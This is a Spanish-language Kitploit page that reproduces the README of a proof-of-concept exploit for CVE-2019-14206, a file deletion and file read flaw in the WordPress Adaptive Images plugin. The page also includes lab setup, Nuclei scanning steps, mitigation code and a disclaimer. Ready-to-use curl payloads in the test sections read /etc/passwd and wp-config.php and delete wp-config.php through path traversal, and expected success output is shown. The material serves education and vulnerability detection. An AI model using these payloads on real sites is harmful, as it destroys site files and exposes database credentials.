Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/developerfred/cve-2019-14206-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubdeveloperfred/cve-2019-14206-poc

cve-2019-14206-poc

Exploit de prueba de concepto para CVE-2019-14206, que demuestra la eliminación arbitraria de archivos en el plugin Adaptive Images de WordPress. Incluye laboratorio Docker, plantilla Nuclei y scripts de prueba manuales para educación en seguridad y validación.

Ver Repositorio
hace 8 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2019-14206 - Adaptive Images para WordPress - Eliminación Arbitraria de Archivos

📋 Índice

  1. Sobre la Vulnerabilidad
  2. Requisitos Previos
  3. Instalación
  4. Métodos de Prueba
    • Prueba Rápida
    • Prueba Completa con Docker
    • Prueba con Nuclei
    • Prueba Manual
  5. Interpretando Resultados
  6. Limpieza
  7. Solución de Problemas
  8. Mitigación
  9. Aviso Legal

🎯 Sobre la Vulnerabilidad

CVE-ID: CVE-2019-14206
Severidad: Alta (CVSS 6.5)
Plugin Afectado: Adaptive Images para WordPress
Versiones Afectadas: < 0.6.67

¿Qué permite esta vulnerabilidad?

Esta vulnerabilidad permite que un atacante remoto no autenticado elimine archivos arbitrarios en el servidor WordPress explotando el plugin Adaptive Images.

Impacto Real:

  • ❌ Eliminación de wp-config.php causando una caída completa del sitio
  • ❌ Exposición de credenciales de la base de datos vía LFI
  • ⚠️ Cadena de ataque que lleva a RCE (Ejecución Remota de Código)
  • 🔴 Compromiso total del sitio WordPress

Causa Raíz:

root@kitploit:~
// El plugin usa entrada del usuario SIN sanitización
$settings = $_REQUEST['adaptive-images-settings'];

// Construye la ruta del archivo con parámetros controlados por el atacante
$cache_file = $wp_content . '/' . $cache_dir . '/' . $resolution . $request_uri;

// ELIMINA archivo arbitrario
unlink($cache_file);

💻 Requisitos Previos

Requisitos Mínimos:

  • Sistema Operativo: macOS, Linux o Windows
  • Nuclei: Versión 3.0 o superior (Instalar)
  • Bash: Versión 4.0 o superior
  • curl: Para pruebas manuales
  • PHP: Versión 7.0+ (opcional, para pruebas con servidor incorporado)

Verificando Requisitos Previos:

root@kitploit:~
# Verificar Nuclei
nuclei --version

# Verificar Bash
bash --version

# Verificar curl
curl --version

# Verificar PHP (opcional)
php --version 2>/dev/null || echo "PHP no disponible (opcional)"

🚀 Instalación

Paso 1: Clonar o Descargar los Archivos

root@kitploit:~
# Si estás en el directorio nuclei-templates
cd /Volumes/Codingsh/experimentos/nuclei-templates

# O descarga los archivos necesarios
git clone https://github.com/projectdiscovery/nuclei-templates.git
cd nuclei-templates

Paso 2: Verificar la Estructura de Archivos

root@kitploit:~
# Verificar si los archivos existen
ls -la http/cves/2019/CVE-2019-14206.yaml
ls -la cve-2019-14206-poc/

Paso 3: Hacer Ejecutables los Scripts

root@kitploit:~
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc

chmod +x docker-test.sh
chmod +x docker-test-full.sh
chmod +x vulnerability-demo.sh
chmod +x local-test.sh
chmod +x real-target-test.sh

🧪 Métodos de Prueba

1. Prueba Rápida ⏱️ 2 minutos

Ejecuta la demostración completa que simula toda la explotación:

root@kitploit:~
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
./docker-test.sh

Qué sucede:

  • Crea un entorno de prueba completo
  • Simula la vulnerabilidad
  • Demuestra la eliminación de archivos
  • Valida la plantilla Nuclei

Salida esperada:

root@kitploit:~
[🎉] SUCCESS: wp-config.php DELETED!
[!!!] WORDPRESS SITE IS NOW BROKEN!
✅ Vulnerability: CVE-2019-14206 confirmed
✅ Template Status: Production ready

2. Prueba Completa con Docker 🐳 10 minutos

Paso 1: Iniciar Entorno Docker

root@kitploit:~
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc

# Si Docker está corriendo
docker-compose up -d

# Si Docker NO está corriendo, usa el simulador
./docker-test-full.sh

Paso 2: Acceder a WordPress

root@kitploit:~
# El entorno estará disponible en
# http://localhost:8888

Paso 3: Verificar Plugin Vulnerable

root@kitploit:~
# Verificar si el script vulnerable existe
curl http://localhost:8888/wp-content/plugins/adaptive-images/adaptive-images-script.php

Paso 4: Ejecutar Pruebas

root@kitploit:~
# Prueba LFI
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"

# Prueba de Eliminación de Archivos
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"

# Verificar si wp-config.php fue eliminado
ls -la /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test/wp-config.php

3. Prueba con Nuclei 🎯 5 minutos

Paso 1: Preparar Lista de Objetivos

root@kitploit:~
# Crear archivo de objetivos
cat > targets.txt << 'EOF'
http://localhost:8888
https://target-wordpress-site.com
EOF

Paso 2: Ejecutar Escaneo

root@kitploit:~
# Escaneo básico
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt

# Escaneo detallado
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -v

# Escaneo con depuración (OBLIGATORIO para bounty)
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -debug

# Guardar resultados
nuclei -t http/cves/2019/CVE-2019-14206.yaml -l targets.txt -o results.txt

Paso 3: Interpretar Resultados

root@kitploit:~
# Ver resultados
cat results.txt

# Resultados positivos tendrán:
# [CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion

4. Prueba Manual 🔧 10 minutos

Paso 1: Iniciar Servidor PHP

root@kitploit:~
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc/docker-test
php -S localhost:8888

Paso 2: Probar LFI (Lectura de Archivos)

root@kitploit:~
# Intentar leer /etc/passwd
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=/etc/passwd"

# Intentar leer wp-config.php
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../wp-config.php"

Resultado esperado (LFI):

root@kitploit:~
=== CVE-2019-14206 Vulnerability Test ===

[*] Settings received:
  source_file = /etc/passwd
  ...

[*] Cache file: /var/www/html/wp-content/ai-cache/1920/etc/passwd
[*] Source file: /etc/passwd

Paso 3: Probar Eliminación de Archivos

root@kitploit:~
# Verificar si wp-config.php existe ANTES
ls -la wp-config.php

# Ejecutar exploit
curl "http://localhost:8888/adaptive-images-script.php?test=1&adaptive-images-settings[source_file]=../../../wp-content/uploads/2019/07/image.jpeg&adaptive-images-settings[resolution]=&resolution=16000&adaptive-images-settings[wp_content]=.&adaptive-images-settings[cache_dir]=../../..&adaptive-images-settings[request_uri]=wp-config.php&adaptive-images-settings[watch_cache]=1"

# Verificar si wp-config.php fue eliminado DESPUÉS
ls -la wp-config.php

Resultado esperado (Eliminación de Archivos):

root@kitploit:~
[+] SUCCESS: Arbitrary file deletion vulnerability confirmed!
[+] Target file deleted: ./../../..//wp-config.php

📊 Interpretando Resultados

Resultado Positivo (Vulnerable):

root@kitploit:~
[CVE-2019-14206] [high] Adaptive Images for WordPress - Arbitrary File Deletion
http://target-wordpress-site.com/wp-content/plugins/adaptive-images/adaptive-images-script.php

Matchers matched:
- Plugin detected
- LFI vulnerability confirmed
- Arbitrary file deletion possible

Resultado Negativo (No Vulnerable):

root@kitploit:~
[N/A] No results found

Posibles Razones para Falso Negativo:

  • ✅ Plugin no instalado
  • ✅ Plugin actualizado (versión >= 0.6.67)
  • ✅ WAF bloqueando solicitudes
  • ✅ Servidor no responde en las rutas esperadas

🧹 Limpieza

Limpiar Entorno de Prueba:

root@kitploit:~
# Eliminar entorno Docker
cd /Volumes/Codingsh/experimentos/nuclei-templates/cve-2019-14206-poc
docker-compose down -v 2>/dev/null

# Eliminar archivos de prueba
rm -rf docker-test/
rm -f targets.txt results.txt

# Restaurar wp-config.php si fue eliminado
cat > wp-config.php << 'EOF'
<?php
// Archivo restaurado
define('DB_NAME', 'wordpress');
EOF

Limpiar Nuclei:

root@kitploit:~
# Eliminar resultados de escaneo
rm -f results.txt

# Limpiar caché (opcional)
nuclei -rm-cache

🔧 Solución de Problemas

Problema 1: Nuclei no encontrado

root@kitploit:~
# Instalar Nuclei
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# O descargar binario
wget https://github.com/projectdiscovery/nuclei/releases/download/v3.0.0/nuclei-linux-amd64.zip
unzip nuclei-linux-amd64.zip
chmod +x nuclei
sudo mv nuclei /usr/local/bin/

Problema 2: La plantilla no carga

root@kitploit:~
# Verificar si el archivo existe
ls -la http/cves/2019/CVE-2019-14206.yaml

# Verificar sintaxis YAML
python3 -c "import yaml; yaml.safe_load(open('http/cves/2019/CVE-2019-14206.yaml'))"

# Usar ruta absoluta
nuclei -t /Volumes/Codingsh/experimentos/nuclei-templates/http/cves/2019/CVE-2019-14206.yaml -u http://target

Problema 3: El servidor PHP no inicia

root@kitploit:~
# Verificar puerto
lsof -i :8888

# Usar puerto diferente
php -S localhost:9999

# Verificar PHP instalado
which php
php --version

Problema 4: Docker no funciona

root@kitploit:~
# Verificar estado de Docker
docker ps

# Iniciar Docker
# En macOS: Abrir Docker Desktop
# En Linux: sudo systemctl start docker

# Usar modo simulador (funciona sin Docker)
./docker-test-full.sh

🛡️ Mitigación

Protección Inmediata:

  1. Actualizar Plugin:

    root@kitploit:~
    Panel WordPress > Plugins > Actualizar Adaptive Images
    
  2. Versión Segura: >= 0.6.67

  3. Eliminar Plugin Vulnerable:

    root@kitploit:~
    rm -rf wp-content/plugins/adaptive-images/
    

Protección en el Código (Para Desarrolladores):

root@kitploit:~
// ✅ CÓDIGO SEGURO (Ejemplo de corrección)
function adaptive_images_script_get_settings() {
    // Sanitizar entrada
    $allowed_keys = ['cache_dir', 'resolution', 'request_uri'];
    $settings = [];
    
    foreach ($allowed_keys as $key) {
        if (isset($_REQUEST['adaptive-images-settings'][$key])) {
            $settings[$key] = sanitize_text_field($_REQUEST['adaptive-images-settings'][$key]);
        }
    }
    
    return $settings;
}

function adaptive_images_delete_stale_cache_image($source_file, $cache_file, $resolution) {
    // Validar rutas
    $allowed_cache_dirs = ['ai-cache', 'adaptive-cache'];
    $cache_dir = basename(dirname($cache_file));
    
    if (!in_array($cache_dir, $allowed_cache_dirs)) {
        return false; // Rechazar rutas inválidas
    }
    
    // Usar rutas absolutas validadas
    $cache_file = WP_CONTENT_DIR . '/ai-cache/' . basename($cache_file);
    
    if (file_exists($cache_file)) {
        unlink($cache_file);
    }
}

⚠️ Aviso Legal

Términos de Uso:

Este material se proporciona exclusivamente con fines educativos y de prueba de seguridad.

Lo que PUEDES hacer:

  • ✅ Probar en sistemas que posees
  • ✅ Usar en entornos de laboratorio
  • ✅ Aprender sobre vulnerabilidades web
  • ✅ Contribuir a la seguridad de código abierto
  • ✅ Probar tus propias aplicaciones

Lo que NO PUEDES hacer:

  • ❌ Probar en sistemas sin autorización
  • ❌ Causar daños o interrupciones
  • ❌ Utilizar con fines maliciosos
  • ❌ Vender o distribuir exploits
  • ❌ Publicar información de sistemas vulnerables

Responsabilidad:

El autor y colaboradores NO se responsabilizan por cualquier:

  • Uso indebido de este material
  • Daños causados a sistemas
  • Pérdida de datos
  • Interrupciones de servicio
  • Problemas legales

Divulgación Responsable:

Si encuentras esta vulnerabilidad en sistemas reales:

  1. NO exploits ni causes daños
  2. DOCUMENTA la vulnerabilidad
  3. NOTIFICA al responsable del sistema
  4. SIGUE las directrices de responsible disclosure

📚 Recursos Adicionales

Referencias:

  • NVD - CVE-2019-14206
  • Investigación Original
  • Plugin Oficial
  • Entrada en WPScan

Herramientas Relacionadas:

  • Nuclei
  • nuclei-templates
  • WPScan
  • Wordfence

🎓 Aprendizajes

Este proyecto demuestra:

  1. Validación de Entrada: La importancia de sanitizar toda entrada del usuario
  2. Path Traversal: Cómo las rutas de archivo pueden ser manipuladas
  3. Operaciones de Archivos: Los riesgos de funciones como unlink() con entrada del usuario
  4. Seguridad en Plugins: Vulnerabilidades comunes en plugins WordPress
  5. Análisis de CVE: Cómo analizar y reproducir vulnerabilidades
  6. Desarrollo de Detección: Cómo crear plantillas de detección efectivas

📝 Changelog

Versión 1.0.0 (2026-01-04)

  • ✅ Plantilla Nuclei creada
  • ✅ Entorno PoC completo
  • ✅ Documentación completa
  • ✅ Scripts de prueba validados
  • ✅ Demostración funcional

🤝 Contribución

¡Las contribuciones son bienvenidas! Para contribuir:

  1. Haz un fork del repositorio
  2. Crea una rama (git checkout -b feature/improvement)
  3. Haz commit de tus cambios (git commit -am 'Add improvement')
  4. Sube a la rama (git push origin feature/improvement)
  5. Crea un Pull Request

📧 Soporte

Para dudas o problemas:

  1. Revisa la sección Solución de Problemas
  2. Revisa los issues del repositorio
  3. Documenta el problema con:
    • Sistema operativo
    • Versión de Nuclei
    • Versión de PHP (si aplica)
    • Mensaje de error completo
    • Pasos para reproducir

🎉 ¡Gracias por usar este material de prueba!

Recuerda: Un gran poder conlleva una gran responsabilidad. Usa este conocimiento para hacer internet más segura, no más vulnerable.


Creado: 4 de Enero de 2026
Versión: 1.0.0
Estado: ✅ Listo para uso en producción

Descargar herramienta